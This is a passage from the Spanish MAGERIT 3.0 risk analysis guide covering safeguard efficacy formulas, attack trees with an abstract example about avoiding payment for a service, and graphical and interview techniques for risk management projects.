del impacto inferior que es víctima de la amenaza. Si el análisis es cuantitativo, se multiplica el
valor propio por el grado de dependencia.
Ejemplo.
En el ejemplo anterior, un virus informático provoca una detención de unas 48 horas. El im-
pacto en el servidor es [5], lo mismo que en el servicio web. El impacto repercutido en el ser-
vicio escrito es [0].
La frecuencia de una amenaza.

Se empleará el modelo cualitativo o cuantitativo, según corresponda.
El riesgo que supone una amenaza para un activo.

La eficacia de una salvaguarda frente al impacto.

Una salvaguarda frente a la interrupción del servicio se caracteriza por un tiempo de reacción: lo
que tarde en reponer el servicio.
A fin de calificar la eficacia de la salvaguarda, se toma el escalón correspondiente a dicho tiempo
de “respuesta garantizada” 5 .
Ejemplo.
En el caso anterior, se puede desplegar un sistema antivirus que permite reactivar el servicio
en 6 horas. Se dice que su eficacia está en el escalón de las 6 horas.
5 El razonamiento es como sigue. Si una parada superior a x1 horas supone un perjuicio v1, y una parada
superior a x2 horas, un perjuicio v2; entonces, una parada de x horas, siendo x1 …≤ x < x2, supone un
perjuicio v1, dado que no ha llegado al nivel x2.

Este escalón de eficacia puede ser e 0 , si la salvaguarda es tan contundente que no deja lugar ni al
primer escalón valorado, e 1 .
Este escalón de eficacia es el mismo que la degradación cuando la salvaguarda es incapaz de
reducir el impacto 6 .
Este escalón de eficacia nunca puede ser superior al escalón de degradación, pues una salva-
guarda no puede empeorar la situación de un activo frente a una amenaza.
Además del escalón de eficacia, las salvaguardas que se consideran aplicables al caso constitu-
yen un paquete que se puede caracterizar por su eficacia reduciendo el impacto, ei, y su eficacia
reduciendo la frecuencia, ef. El cálculo de estos coeficientes se describe más adelante.
Lo que sí hay que indicar es cómo calcular el escalón de efectividad de un paquete de salvaguar-
das:
escalón(ps)= escalón(s) si s es singular

max k { escalón(ps k ) } si ps= todas (ps k )
min k { escalón(ps k ) } si ps= algunas (ps k )
min k { escalón(ps k ) } si ps= una (ps k )
Donde el valor especial “na” 7 se comporta como elemento neutro en las operaciones.
De forma que, de un conjunto de salvaguardas alternativas se requiere al menos una que sea
efectiva. Y que, de un conjunto de salvaguardas concurrentes, la eficacia la marca la peor de
ellas.
La degradación residual.
Si el activo, sin protección, se posicionada en el escalón “e d “ de degradación, gracias a las salva-
guardas se colocará en el escalón propuesto como escalón de eficacia, “e s “; pero modulado por la
eficacia “ei” frente al impacto, resultado en un escalón residual “e r “:
r = ⎣d − ((d − s) × ei)⎦ 8
Donde el valor especial “na” se valora como 0.
Es el valor correspondiente al escalón residual:
impacto_residual = valor[e r ]
Ejemplo.
En el caso anterior, si se despliega un sistema antivirus que permite reactivar el servicio en 6
horas, el impacto residual en servidor y servicio web quedan en [3].
Si se desplegara un sistema antivirus que garantizase la reposición del servicio en 30 minu-
tos, el impacto residual sería [0].
La frecuencia residual.
6 Un centro de respaldo que empieza a funcionar en 48 horas es inútil frente a amenazas que detienen el
servicio durante 6 horas.
7 na: no aplica.
8 La notación ⎣v⎦ indica el entero que resulta de un redondeo por defecto.

El riesgo residual.
En base al impacto residual y la frecuencia residual, se empleará el modelo cualitativo o cuantitati-
vo, según corresponda.
2.2.4. Sobre la eficacia de las salvaguardas

Todos los modelos requieren una evaluación de la eficacia de las salvaguardas que se despliegan
para proteger a un activo de una amenaza. Se describe a continuación un modelo común para
evaluar la eficacia de un conjunto de salvaguardas aplicadas sobre un activo.
Frente a una amenaza se despliega un paquete de salvaguardas que no es sino un conjunto de
salvaguardas singulares acumuladas sobre un activo. Las diferentes salvaguardas se pueden
acumular de forma concurrente (todas son necesarias para surtir efecto), de forma excluyente (só-
lo tiene efecto una de un conjunto) o de forma aditiva (cuantas más, mejor).
ps::= salvaguarda
| todas(ps 0 , ps 1 , ...)
| algunas (ps 0 , ps 1 , ...)
| una (ps 0 , ps 1 , ...)
La eficacia de una salvaguarda.

Cada salvaguarda se valora según su eficacia reduciendo el riesgo del activo que protege. La efi-
cacia de un paquete de salvaguardas es un número real entre 0,0 y 1,0:
e razonamiento
e=1 si una salvaguarda es idónea (100% eficaz)
0 < e < 1 si una salvaguarda es insuficiente
e=0 si una salvaguarda no sirve para nada
e = na i una salvaguarda no tiene sentido en este contexto
La eficacia de la salvaguarda depende tanto de su capacidad natural para proteger el activo como
de la calidad de su despliegue. El valor de la eficacia recoge ambos aspectos en un único pará-
metro.
La eficacia de un paquete de salvaguardas.

e(ps)= e(s) si s es singular
9
media k { e(ps k ) } si ps= todas (ps k )
min { 1,0, Σ k e(ps k ) si ps= algunas (ps k )

max k { e(ps k ) } si ps= una (ps k )
Donde el valor especial “na” se comporta como elemento neutro en las operaciones de cálculo del
máximo, producto o suma.
De forma que, de un conjunto de salvaguardas concurrentes, la eficacia es la media de ellas; de
un conjunto de salvaguardas aditivas, la eficacia de las salvaguardas se acumula, con un límite
del 100%; y de un conjunto de salvaguardas alternativas, la eficacia la marca la mejor.
9 El valor medio se calcula de la forma habitual: se suman las eficacias diferentes de NA y se divide por el
número de sumandos.

Eficacia ponderada de un paquete de salvaguardas
Como eficacia de un paquete de salvaguardas se ha tomado el valor medio de las eficacias de los
componentes. Este cálculo puede modularse si se tiene en cuenta que no todas las salvaguardas
son de la misma naturaleza, introduciendo una ponderación “p”:
e(ps) = Σ k e(ps k ) × p k / Σk p k
El caso particular de que todas las salvaguardas sean igual de importantes, se consigue tomando
“p = 1”.
La eficacia frente al impacto y la frecuencia de una amenaza.

El riesgo combina impacto y frecuencia. Una salvaguarda puede reducir el impacto, o la frecuen-
cia, o ambas facetas. Depende de la naturaleza de la salvaguarda el que actúe sobre el impacto o
sobre la frecuencia.
Así, en los párrafos anteriores, se puede diferenciar entre la eficacia reduciendo el impacto, “ei”, y
la eficacia reduciendo la frecuencia “ef”, Ambas eficacias se estiman con el mismo criterio: satis-
facción de su cometido. Por último se puede calcular la eficacia reduciendo el riesgo, “e”, como
(1 − ei) × (1 − ef) = 1 − e

Magerit 3.0 Árboles de ataque
2.3. Árboles de ataque

Los árboles de ataque son una técnica para modelar las diferentes formas de alcanzar un objetivo.
Aunque han existido durante años con diferentes nombres, se hicieron famosos a partir de los tra-
bajos de B. Schneier que propuso sus sistematización en el área de los sistemas de información.
El objetivo del atacante se usa como raíz del árbol. A partir de este objetivo, de forma iterativa e
incremental se van detallando como ramas del árbol las diferentes formas de alcanzar aquel obje-
tivo, convirtiéndose las ramas en objetivos intermedios que a su vez pueden refinarse. Los posi-
bles ataques a un sistema se acaban modelando como un bosque de árboles de ataque.
Un árbol de ataque pasa revista a cómo se puede atacar un sistema y por tanto permite identificar qué
salvaguardas se necesita desplegar para impedirlo. También permiten estudiar la actividad del atacan-
te y por tanto lo que necesita saber y lo que necesita tener para realizar el ataque; de esta forma es
posible refinar las posibilidades de que el ataque se produzca si se sabe a quién pudiera interesar el
sistema y/o la información y se cruza esta información con la habilidades que se requieren.
Veamos un ejemplo ilustrativo sobre como usar fraudulentamente (sin pagar) un servicio de pago:
1. Objetivo: usar sin pagar (OR)
1. suplantar la identidad de un usuario legítimo
2. soslayar la identificación de acceso al servicio
3. abusar del contrato (AND)
1. ser un usuario legítimo
2. conseguir que no se facture el servicio (OR)
1. que no queden trazas de uso
2. que se destruyan las trazas antes de facturación (OR)
1. las destruyo yo
2. engaño al operador para que las borre
3. manipulo del sw para que no las sume
3. repudiar las trazas
4. dar datos de cargo falsos
Lo más habitual para alcanzar un objetivo o subobjetivo es que se disponga de varias maneras
alternativas (nodos OR); aunque en ocasiones se requiere la concurrencia de varias actividades
(nodos AND). En conjunto, se consigue un esquema de las diferentes maneras en las que un
usuario podría usarlo sin pagar por ello.
2.3.1. Nodos con atributos

Identificadas las diferentes maneras de alcanzar un objetivo, los nodos del árbol se pueden enri-
quecer con información de detalle, que puede ser de muy diferentes tipos; por ejemplo:
• conocimientos que se requieren del atacante: cualquiera, alguna experiencia, un ingeniero,
un hacker profesional, etc.
• inversión del atacante: cantidad de dinero y tiempo que tendría que desembolsar para reali-
zar la acción
• riesgo para el atacante: si es capturado, ¿qué consecuencias afrontaría?
Si la información del árbol con estos atributos se procesa automáticamente, podemos obtener es-
cenarios simplificados de ataque:
• usuarios inexpertos pero con bastante dinero
• atacantes profesionales pero sin capacidad de inversión (o sin necesidad de realizar una in-
versión adicional para perpetrar este ataque)

• atacantes que quedarían impunes
• etc.
Para alcanzar estos escenarios especializados basta eliminar del árbol las ramas que no satisfa-
gan una condición cualitativa o cuantitativa 10 .
Sobre un árbol con atributos es posible determinar el ataque más probable, simplemente extra-
yendo aquel ataque que requiere menos medios y menos conocimiento por parte del atacante.
También es posible determinar cuál será la línea de acción de un posible perfil de atacante (que
se determina en base al tipo de servicio o información que estamos protegiendo): aquel que con
menos coste satisfaga los conocimientos mínimos para realizar el ataque.
2.3.2. Riesgo residual

Cuando se han desplegado salvaguardas, su efecto puede reflejarse sobre el árbol de ataque:
• incrementando el conocimiento que el atacante necesitaría para alcanzar su objetivo pese a
las salvaguardas desplegadas: idealmente debería ser imposible por mucho que supiera
• incrementando el desembolso que el atacante tendría que realizar para alcanzar su objetivo
a la vista de las salvaguardas desplegadas: idealmente el coste debería ser superior al be-
neficio para el atacante
Un sistema ideal de salvaguardas eliminaría todas las ramas del árbol. Un sistema real suele lle-
var los atributos a niveles elevados de conocimiento e inversión que reducen la posibilidad de que
el ataque se materialice a un nivel residual aceptado por la Dirección.
2.3.3. Construcción del árbol

La construcción del árbol es laboriosa. Marcar el objetivo final requiere un conocimiento de dónde
está el valor en la Organización y cual puede ser el objetivo del atacante respecto del mismo. El
enriquecimiento en forma de ramas debería ser exhaustivo; pero está limitado por la imaginación
del analista; si el atacante es “más listo” tiene una oportunidad para utilizar una vía imprevista. La
experiencia permite ir enriqueciendo el árbol con nuevos ataques realmente perpetrados o sim-
plemente detectados en el perímetro con un buen sistema de monitorización.
Puede encontrarse ayuda a la construcción del árbol en
• la experiencia propia o ajena en sistemas similares
• grupos de reflexión (brain storming meetings) en los que de forma informal se van exponien-
do cosas que posiblemente pensarían los atacantes; estas sesiones suelen generar mucho
material en bruto que hay que organizar y estructurar para ser utilizado como herramienta de
análisis
• herramientas que sugieran ataques en base a la naturaleza de los activos presentes en el
sistema
Si se dispone de un modelo de valor como el desarrollado en las actividades de la metodología
Magerit, es posible utilizar éste para determinar la naturaleza de los activos y las dependencias
entre ellos, de forma que podemos elaborar el árbol de ataques en base al conocimiento de los
activos inferiores que constituyen la vía de ataque para alcanzar los activos superiores en los que
suele residir el valor para la Organización.
Resumen
Los árboles de ataque son una herramienta gráfica para analizar y presentar qué puede pasar y
cómo lo prevenimos. Capturan de alguna forma el razonamiento del atacante y permiten anticipar-
se a lo que pudiera ocurrir.
10 Los cálculos suelen ser sencillos y permiten trabajar con diferentes niveles de refinamiento. Los nodos OR
cuestan lo que el más barato de sus hijos. Los nodos AND suman los costes. En el caso de analizar cono-
cimientos, los nodos OR requieren en conocimiento más bajo, mientras que los nodos AND requieren el
conocimiento del hijo más sofisticado. Nótese que para tomar decisiones combinadas hay que ir al último
nodo de detalle, pues frecuentemente lo más barato y lo más sofisticado son condiciones contradictorias.

Aunque es difícil construir árboles exhaustivos en el primer intento, sí son un buen soporte para ir
incorporando la experiencia acumulada y recopilar en cada momento el mejor conocimiento de
que se dispone. De esta forma es posible realizar simulaciones:
• ¿qué pasaría si introducimos nuevos activos?
• ¿qué pasaría si cambiamos las salvaguardas?
• ¿cómo lo enfocaría un atacante de perfil X?
Nótese que los árboles de ataque constituyen una documentación extremadamente valiosa para
un atacante, especialmente cuando incorporan el estado actual de salvaguardas, pues facilitan en
extremo su trabajo. Por ello deberán extremarse las medidas de protección de su confidencialidad.
Su principal inconveniente se encuentra en que es explosivo por la cantidad de árboles y detalle
que pueden ser necesarios para recopilar todas las amenazas posibles sobre un sistema media-
namente complejo. Por ello cabe esperar su uso como complemento a un análisis de riesgos,
permitiendo profundizar en algunas líneas de ataque y dramatizar sus consecuencias.
2.3.4. Referencias
• J. Viega et al., “Risk Analysis: Attack Trees and Other Tricks”, Software Development Maga-
zine, August 2002.
• A.P. Moore et al., “Attack Modeling for Information Security and Survivability”, Software En-
gineering Institute, Carnegie Mellon University, Technical Note CMU/SEI-2001-TN-001,
2001.
• B. Schneier, “Secrets and Lies: Digital Security in a Networked World”, John Wiley & Sons,
2000.
• B. Schneier, “Attack Trees: Modeling Security Threats”, Dr. Dobb's Journal, December 1999.
ISO 31010
Esta norma introduce, a título informativo, multitud de técnicas para valorar diferentes magnitudes
para analizar riesgos. Aunque los árboles de ataque no aparecen como tales, hay varias técnicas
cercanas que analizan secuencias de ataque:
B.5 Análisis preliminar de peligros (PHA)
B.7 Análisis de riesgos y puntos de control críticos (HACCP)
B.14 Análisis de árbol de fallos (FTA)
B.15 Análisis del árbol de sucesos (ETA)
B.16 Análisis de causa-consecuencia
B.17 Análisis de causa-y-efecto
B.18 Análisis de capas de protección (LOPA)
B.19 Análisis de árbol de decisiones
B.21 Análisis de pajarita
B.26 Estadísticas y redes Bayesianas

Magerit 3.0 Técnicas generales
3. Técnicas generales
En este capítulo nos referiremos a técnicas generales que, entre otros casos, son de utilizad en el
desarrollo de un proyecto de análisis y gestión de riesgos. No obstante su generalidad, cuando
procede se ha indicado cómo se aplican en el contexto del análisis y gestión de riesgos. Las indi-
caciones dadas en este libro complementan a las presentadas a lo largo de la metodología.
Se han considerado de especial interés:
1. técnicas gráficas: histogramas, diagramas de Pareto y de tarta
2. sesiones de trabajo: entrevistas, reuniones y presentaciones
3. valoraciones Delphi
que se desarrollan en las siguientes secciones.

Magerit 3.0 Técnicas gráficas
3.4. Técnicas gráficas

Esta sección se centra en cómo algunas representaciones gráficas de los elementos de un pro-
yecto AGR pueden apoyar a dicho proyecto, tanto como soporte a presentaciones, como en la to-
ma de decisiones.
Se presentan:
• Gráficas para presentar resultados
• puntos
• barras
• radar
• Diagramas de Pareto, para priorización de acciones
• Diagramas de tarta
3.4.2. Por puntos y líneas

Es la forma más clásica de presentación de resultados. Se limita a usar los ejes cartesianos usan-
do las abscisas para recoger los datos y las ordenadas para mostrar su valor.
Los datos en ordenadas se pueden representar en escala lineal o en escala logarítmica. La escala
lineal es razonable cuando el rango de valores es reducido, imponiéndose la escala logarítmica
cuando el rango es grande (órdenes de magnitud). No obstante, el principal criterio para elegir el
tipo de escala debería ser la naturaleza del valor que se quiere representar. Una escala lineal es
adecuada cuando importa transmitir la diferencia absoluta entre valores
xi x j
Por el contrario, una escala logarítmica es adecuada cuando importa transmitir la diferencia relati-
va entre valores:
xi x j
xi
En proyectos de análisis y gestión de riesgos se trabaja con múltiples magnitudes que son per-
cepciones de valor que se ajustan naturalmente a escalas logarítmicas.
A veces se pintan las líneas que unen los puntos correspondientes a cada valor en el eje Y para
cada dato en el eje X. Otras veces sólo se pintan los puntos. A veces se introducen líneas horizon-
tales de nivel para marcan umbrales: valores mínimos o máximos para alguna toma de decisiones.

Como ejemplo, se presenta el resultado de cálculo de riesgo en un sistema de información, a lo
largo de varias fases del proyecto:
Estas gráficas permiten acumular gran cantidad de información. Informalmente, se puede decir
que son más apreciadas por personas con perfil técnico.
3.4.3. Por barras

Los diagramas de barras disponen los elementos en unas coordenadas cartesianas convenciona-
les: los elementos a considerar en un eje y los valores en el otro eje. Son muy similares a las pre-
sentaciones por puntos y líneas, aunque permiten menos resultados (dado que las barras ocupan
más espacio que los puntos).
El eje Y puede disfrutar de una escala lineal o logarítmica. Ver consideraciones expuestas en la
sección anterior.

Como ejemplo, se presenta el resultado de cálculo de riesgo en un sistema de información, a lo
largo de varias fases del proyecto:
En este tipo de diagramas es fácil recopilar todos los valores. A veces se introducen líneas hori-
zontales de nivel para marcan umbrales: valores mínimos o máximos para alguna toma de deci-
siones.
Informalmente, se puede decir que son presentaciones apreciadas por personas con perfil técnico.
3.4.4. Gráficos de ‘radar’

Estos gráficos representan las distintas variables o factores del fenómeno en estudio sobre semi-
ejes o radios que parten de un centro. Estos radios, tantos como factores, se gradúan para repre-
sentar sus niveles y posibles umbrales en escala normal o logarítmica, según convenga.
El valor alcanzado por cada factor o variable se marca en su radio respectivo (el centro representa
el valor cero). Se unen por segmentos los puntos consecutivos así marcados, correspondientes a
los valores de las variables definidas en los semiejes, obteniendo un polígono irregular ‘estrellado’
denominado gráfico de ‘radar’ o ‘rosa de los vientos’.
Todos ellos ofrecen una visión sintética del fenómeno que permite estudiarlo globalmente, facili-
tando la observación de sus características y tendencias así como el balance entre sus distintos
factores o elementos. Esta visión sintética es especialmente importante en el análisis y gestión de
riesgos, donde se busca cierto equilibrio entre factores complementarios. La seguridad procede
más de una cobertura homogénea sin fisuras que de una cobertura muy alta en ciertos aspectos
frente a claras deficiencias en otros buscando una cierta compensación.
El gráfico de ‘radar’ básico exige empezar por decidir qué factores o variables se van a incluir. Así,
si se busca representar el estado global de seguridad de una Organización, los factores serán los
diferentes servicios. Tras obtener, calcular, clasificar y tabular los valores de cada factor, se dibu-
jan las escalas como radios (dentro de un círculo máximo cuyo radio sea el valor más alto norma-
lizado en cada semieje). Hay que cuidar siempre que exista la misma distancia angular entre los
semiejes (es decir que éstos dividan el círculo máximo en arcos iguales).

El siguiente ejemplo muestra la evolución del riesgo sobre los activos de tipo servicio y datos:
A veces se marcan algunos niveles (circunferencias) con valores especiales tales como umbrales
mínimos o cotas máximas. A veces se rellena la superficie abarcada, aunque otras veces se pin-
tan sólo las líneas del perímetro. Las superficies son útiles cuando no se da el caso de que un
área “tape” a otra. Las líneas siempre son utilizables.
Este tipo de diagramas permiten:
• sintetizar gráficamente el equilibrio o desequilibrio en varios ejes
• acumular perfiles de máximos o de mínimos
• mostrar la evolución temporal
Informalmente, se puede decir que son presentaciones apreciadas por personas con perfil geren-
cial o de dirección.
3.4.5. Diagramas de Pareto

Vilfredo Pareto (1848-1923) fue economista italiano estudioso de la distribución de la riqueza.
Descubrió que la minoría de la población poseía la mayor parte de la riqueza y la mayoría de la
población poseía la menor parte de la riqueza. Con esto estableció la llamada "Ley de Pareto" se-
gún la cual la desigualdad económica es inevitable en cualquier sociedad.
Posteriormente, se aplicó este concepto a la calidad, obteniéndose lo que hoy se conoce como la
regla 80/20. Según este concepto, si se tiene un problema con muchas causas, se puede decir
que el 20% de las causas resuelven el 80% del problema y el 80% de las causas solo resuelven el
20% del problema.
El análisis de Pareto es una técnica que separa los “pocos vitales” de los “muchos normales”. Una
gráfica de Pareto es utilizada para separar gráficamente los aspectos más significativos de un
problema que el equipo sepa dónde dirigir sus esfuerzos para mejorar. Reducir los problemas más
significativos (las barras más largas en una gráfica Pareto) servirá más para una mejora general
que reducir los más pequeños. Con frecuencia, un aspecto tendrá el 80% de los problemas. En el
resto de los casos, entre 2 y 3 aspectos serán responsables por el 80% de los problemas.
La minoría vital aparece a la izquierda de la gráfica y la mayoría normal a la derecha. Hay veces
que es necesario combinar elementos de la mayoría normal en una sola clasificación denominada
otros, la cual siempre deberá ser colocada en el extremo derecho. La escala vertical es para el
costo en unidades monetarias, frecuencia o porcentaje.

La gráfica es muy útil al permitir identificar visualmente en una sola revisión tales minorías de ca-
racterísticas vitales a las que es importante prestar atención y de esta manera utilizar todos los
recursos necesarios para llevar acabo una acción correctiva sin malgastar esfuerzos.
Algunos ejemplos de tales minorías vitales podrían ser:
• La minoría de clientes que representen la mayoría de las ventas.
• La minoría de productos, procesos, o características de la calidad causantes del grueso de
desperdicio o de los costos de reelaboración.
• La minoría de rechazos que representa la mayoría de quejas de la clientela.
• La minoría de vendedores que esta vinculada a la mayoría de partes rechazadas.
• La minoría de problemas causantes del grueso del retraso de un proceso.
• La minoría de productos que representan la mayoría de las ganancias obtenidas.
• La minoría de elementos que representan al grueso del costo de un inventarios.
Un equipo puede utilizar la Gráfica de Pareto para varios propósitos durante un proyecto para lo-
grar mejoras:
• Para analizar las causas
• Para estudiar los resultados
• Para planear una mejora continua
• Para comparar fotos de “antes y después” y estudiar qué progreso se ha logrado.
Aplicado a proyectos análisis y gestión de riesgos, cabe citar los siguientes usos
• riesgo del sistema en función de los activos, quizás para cierta dimensión de seguridad,
permitiendo detectar qué activos contribuyen fundamentalmente al riesgo del sistema
• riesgo del sistema en función de las amenazas, quizás para cierta dimensión de seguridad,
permitiendo detectar qué amenazas contribuyen fundamentalmente al riesgo del sistema
3.4.5.1. Construcción
1. Seleccionar las categorías lógicas
2. Reunir datos: valor para cada categoría
3. Ordenar los datos de mayor a menor a menor valor
• a menudo conviene introducir una nueva categoría “otros” para agrupar los datos de me-
nor valor para los que no se requiere detalle; esta categoría siempre es la última
4. Calcular el valor agregado para cada categoría
• y calcular el porcentaje del total que cada categoría representa
5. Trazar los ejes:
• eje horizontal (x) para las categorías
• eje vertical (Y) primario, para la magnitud propia del valor a representar;
puede ser lineal o logarítmica, según convenga
• eje vertical (Y) secundario, para el porcentaje del total: lineal
6. De izquierda a derecha trazar las barras para cada categoría. Si existe una categoría “otros”,
debe ser colocada al final, sin importar su valor. Es decir, que no debe tenerse en cuenta al
momento de ordenar de mayor a menor la frecuencia de las categorías.
7. Trazar el gráfico para el porcentaje agregado
8. Analizar la gráfica para determinar los “pocos vitales”
3.4.5.2. Ejemplo práctico

Se aplican los pasos anteriores a un caso práctico, a título de ilustración.

Pasos 1 y 2: seleccionar categorías y recopilar valores
Como resultado del análisis de riesgos, se dispone de la siguiente tabla que resume el riesgo en
los diferentes servicios y datos del sistema de información
activos riesgo
[S] Servicios
[S_T_remota] tramitación vía www 132.400
[S_T_presencial] tramitación presencial 99.300
[S_notificación] notificación telemática 83.400
[S_info] información de normativa 40.400
[S_news] noticias y modificaciones 5.300
[D] Datos / información
[D_ciudadanos] identificación de usuarios 7.300
[D_económicos] datos económicos 120.600
[D_expedientes] estado de la tramitación 45.000
[D_normativa] normativa legal 55.100
[D_histórico] de cambios 12.200
Paso 3: ordenar los datos e introducir “otros”

activos riesgo
[S_T_remota] tramitación vía www 132.400
[D_económicos] datos económicos 120.600
[S_T_presencial] tramitación presencial 99.300
[S_notificación] notificación telemática 83.400
[D_normativa] normativa legal 55.100
[D_expedientes] estado de la tramitación 45.000
[S_info] información de normativa 40.400
OTROS 24.800
Paso 4: agregar datos y calcular porcentajes

activos riesgo agregado
[S_T_remota] tramitación vía www 132.400 132.400 22%
[D_económicos] datos económicos 120.600 253.000 42%
[S_T_presencial] tramitación presencial 99.300 352.300 59%
[S_notificación] notificación telemática 83.400 435.700 72%
[D_normativa] normativa legal 55.100 490.800 82%
[D_expedientes] estado de la tramitación 45.000 535.800 89%
[S_info] información de normativa 40.400 576.200 96%
OTROS 24.800 601.000 100%
601.000

0
20.000
40.000
60.000
80.000
100.000
120.000
140.000
Magerit 3.0
[S_T_remota]
tramitación vía
www
[D_económicos]
datos
económicos
[S_T_presencial]
tramitación
Pasos 5, 6 y 7: dibujar la gráfica
presencial
[S_notificación]
notificación
telemática
activos
[D_normativa]
normativa legal

[D_expedientes]
estado de la
tramitación
[S_info]
información de
normativa
OTROS
0%
20%
40%
60%
80%
100%
riesgo
agregado
página 32 (de 42)

Técnicas gráficas
3.4.6. Diagramas de tarta

Estos diagramas presentan los datos como fracciones de un círculo, distribuidos los 360º de éste
en proporción al valor que es representado en cada sección. La proporción suele ser lineal; rara
vez logarítmica.
Aunque los datos pueden ordenarse de la forma que más interese en cada momento, es frecuente
usar una ordenación de valor decreciente (siguiendo el procedimiento indicado para los diagramas
de Pareto).
Los diagramas de tarta no permiten presentar muchos datos simultáneamente; pero si son una
indicación muy gráfica de cómo las diferentes partes contribuyen al total.

Magerit 3.0 Sesiones de trabajo
3.6. Sesiones de trabajo

Las sesiones de trabajo tienen diversos objetivos. Dependiendo del tipo de sesión que se realice,
los objetivos pueden ser: obtener información, comunicar resultados, reducir el tiempo de desarro-
llo, activar la participación de usuarios y directivos o aumentar la calidad de los resultados. Las
sesiones de trabajo pueden ser de varios tipos en función de las personas que participen en ellas,
el objetivo que se persiga y el modo de llevarlas a cabo.
Las entrevistas son un tipo de sesiones de trabajo dirigidas a obtener la información de una
forma individual dónde aparecen los perfiles de entrevistado y entrevistador.
Las reuniones pueden tener el mismo objetivo, pero la información está dispersa entre varias
personas y únicamente trabajando en grupo, se conseguirá extraer y depurar toda la infor-
mación de forma global.
El objetivo de las presentaciones es la comunicación de avances, conclusiones y resultados
por parte del equipo de trabajo al auditorio que corresponda. Se llevan a cabo con el fin de
informar sobre el estado de un proyecto en su totalidad o de alguno de los procesos, o ex-
poner uno o varios productos finales de un proceso para su aprobación.
3.6.1. Entrevistas
Las entrevistas son reuniones con una persona o un grupo de personas con el objetivo de recabar
cierta información. Las entrevistas se dicen estructuradas cuando se atiene a una serie de pregun-
tas planificadas sin margen para la improvisación. Las entrevistas se dicen libres cuando, exis-
tiendo un objetivo claro, no existe un formulario rígido.
En proyectos de análisis y gestión de riesgos suelen practicarse entrevistas semi-estructuradas en
las que, existiendo un guión preestablecido de preguntas, el entrevistado tiene margen para ex-
tenderse en puntos no previstos o, más frecuentemente, responderlas en un orden diferente al
previsto. En cualquier caso el guión se emplea para no olvidar nada.
Por ser más precisos, en las primeras tareas (T1.1.1, Determinar la oportunidad) es casi imposible
disponer de un cuestionario rígido, y el entrevistado debe disfrutar de una elevada flexibilidad. En
las tareas de descubrimiento (como, por ejemplo, T2.1.1, Identificación de activos) las entrevistas
son semi-estructuradas, usando el cuestionario como guía que hay que adaptar. En las tareas de
detalle (como, por ejemplo, T2.1.3, Valoración de activos), el margen de maniobra está fuertemen-
te pautado, usándose entrevistas estructuradas.
El mayor volumen de entrevistas en un proyecto AGR se encuentra en las tareas del proceso P2,
Análisis de riesgos, en el que hay que centrarse especialmente.
Las actividades A2.1 (caracterización de los activos), A2.2 (caracterización de las amenazas) y
A2.3 (caracterización de las salvaguardas) del proceso P2 (análisis de riesgos), permiten conocer
los elementos objeto del análisis de riesgos, identificándolos, valorándolos y relacionándolos. Para
capturar este conocimiento se procede por medio de una serie de entrevistas con los participan-
tes, según se determinó en la tarea T1.3.2 (organizar a los participantes) y de acuerdo al plan del
proyecto (T1.3.3). Estas entrevistas tienen una importancia crucial porque la información a recoger
condiciona el conocimiento del equipo del proyecto (ajeno en parte al funcionamiento del dominio
o sea dependiente de los conocedores de su comportamiento cotidiano). La recogida de informa-
ción es una operación delicada que exige una buena sintonía entre los participantes para no que
no quede oculta (ni voluntaria ni involuntariamente) alguna información que posteriormente pudie-
ra revelarse importante y, al tiempo, no caer en un excesivo nivel de detalle que impida separar lo
esencial de lo accesorio.
Por todo ello es necesario:
Durante la preparación de la entrevista:

1. Recopilar los cuestionarios personalizados distribuidos en la tarea T1.4.1.
2. Disponer del documento acreditativo de la Dirección.
3. Ubicar y localizar a los entrevistados, para optimizar la realización de las entrevistas, tanto
espacial como temporalmente.
4. Confirmar cada entrevista, informando de los documentos que se van a requerir durante la
entrevista, para facilitar su disponibilidad.
Durante la entrevista
5. Informar al entrevistado de los principales conceptos relacionados con la seguridad y la de
los sistemas de información, en un grado que depende de su información y experiencia en
la materia.
6. Recordar los objetivos de cada entrevista al entrevistado.
7. Perfilar el entorno de trabajo del entrevistado.
8. Recabar las funciones y objetivos del entrevistado.
9. Recabar el modo de actuación del entrevistado.
10. Identificar los medios de que dispone para realizar las funciones y del personal a su cargo.
11. Identificar los procesos realizados y de la información manejada.
12. Identificar posibles situaciones conflictivas (internas o externas, accidentales o provoca-
das).
Para la adquisición de este conocimiento puede ser necesario entrevistar a diferentes colectivos
dentro de la Organización:
• dirección o gerencia, que conocen las consecuencias que para la misión de la Organización
tendrían los incidentes
• responsables de los servicios, que conocen los servicios que se manejan y las consecuen-
cias de la no prestación del servicio o de su prestación degradada
• responsables de los datos, que conocen los datos que se manejan, su valor y las conse-
cuencias de los incidentes que pudieran afectarles
• responsables de sistemas de información y responsables de operación, que:
• conocen qué sistemas hay en operación
• tienen el conocimiento histórico de lo que ha pasado anteriormente
• conocen las consecuencias de un incidente
• conocen las salvaguardas técnicas implantadas
• conocen las actividades en curso relacionadas con la seguridad de los sistemas
3.6.2. Reuniones
Las reuniones tienen como objetivo obtener información que se encuentra repartida entre varias
personas, tomar decisiones estratégicas, tácticas u operativas, transmitir ideas sobre un determi-
nado tema, analizar nuevas necesidades de información, así como comunicar los resultados obte-
nidos como consecuencia de un estudio.
Para realizar una reunión es necesario designar a las personas que deben participar en ella y de-
terminar el lugar en el que poder llevarla a cabo. Las directrices básicas de una reunión son:
• Preparar y convocar la reunión (orden del día)
• Realizar la reunión
• Consolidar el resultado de la reunión
• Elaborar el acta de reunión
Previamente a la convocatoria de la reunión, se definen los objetivos, se planifica el método de
trabajo que se va a seguir y el tiempo del que se dispone, se eligen los participantes y se prepara
el material necesario.
Después de la preparación, es imprescindible enviar al usuario la convocatoria con el orden del
día de la reunión. Este orden incluye la fecha, hora de inicio, hora de finalización prevista, lugar,

asistentes y los puntos a tratar, detallando, entre otros, el tiempo que se dedicará a cada tema y la
persona responsable de exponerlo. Dicha convocatoria se envía con antelación suficiente para
que los asistentes puedan organizar su agenda y prepararse para la reunión con tiempo.
Al inicio de la reunión, es importante hacer un resumen general de los temas a tratar, los objetivos
que se persiguen, el método de trabajo y la agenda de la reunión. Si se considera oportuno se pue-
de utilizar la técnica de presentación. Desde su inicio se debe crear un clima de confianza entre los
asistentes. La persona responsable de la reunión ejercita la dinámica de dirección de grupos, esti-
mulando la participación, controlando el ritmo de la sesión y centrando o clarificando el tema cuando
sea necesario. Al finalizar, se sintetizan las conclusiones, se comprueba si hay acuerdo o si quedan
puntos pendientes de reflexión y se propone fechas para próximas reuniones.
El responsable de tomar las notas en la reunión, levanta el acta y la remite a los asistentes que
deben confirmar su recepción.
3.6.3. Presentaciones
El objetivo de las presentaciones es la comunicación de avances, conclusiones y resultados por
